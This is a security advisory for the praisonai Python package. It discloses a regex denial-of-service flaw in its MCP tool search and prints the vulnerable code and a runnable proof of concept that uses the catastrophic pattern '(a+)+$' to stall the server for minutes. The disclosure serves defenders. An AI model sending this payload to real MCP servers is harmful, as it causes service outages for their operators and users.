PT-2026-59543 · Pypi · Praisonai
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
6.5
Medium
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H |
Summary
MCPToolIndex.search tools() compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the re engine, blocking the Python thread for hundreds of seconds and causing a complete service outage.Details
tool index.py:365 (source) -> tool index.py:368 (sink)python
# source -- query taken directly from caller, no validation
def search tools(self, query: str) -> List[ToolInfo]:
import re
# sink -- compiled and applied with no timeout or exception handling
pattern = re.compile(query, re.IGNORECASE)
for tool in self.get all tools():
if pattern.search(tool.name) or pattern.search(tool.hint):
matches.append(tool)PoC
python
# tested on: praisonai==1.5.87 (source install)
# install: pip install -e src/praisonai
import sys, time, json
sys.path.insert(0, 'src/praisonai')
from pathlib import Path
mcp dir = Path.home() / '.praison' / 'mcp' / 'servers' / 'test server'
mcp dir.mkdir(parents=True, exist ok=True)
(mcp dir / ' index.json').write text(json.dumps([
{"name": "a" * 30 + "!", "hint": "a" * 30 + "!", "server": "test server"}
]))
(mcp dir / ' status.json').write text(json.dumps({
"server": "test server", "available": True, "auth required": False,
"last sync": time.time(), "tool count": 1, "error": None
}))
from praisonai.mcp server.tool index import MCPToolIndex
index = MCPToolIndex()
start = time.monotonic()
results = index.search tools("(a+)+$")
print(f"Returned in {time.monotonic() - start:.1f}s")
# expected output: Returned in 376.0sImpact
A single crafted query blocks the Python thread for hundreds of seconds, causing a complete service outage for the duration. The MCP server HTTP transport runs without an API key by default, making this reachable by any attacker on the network. Repeated requests sustain the DoS indefinitely.
Fix
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Affected Products
Praisonai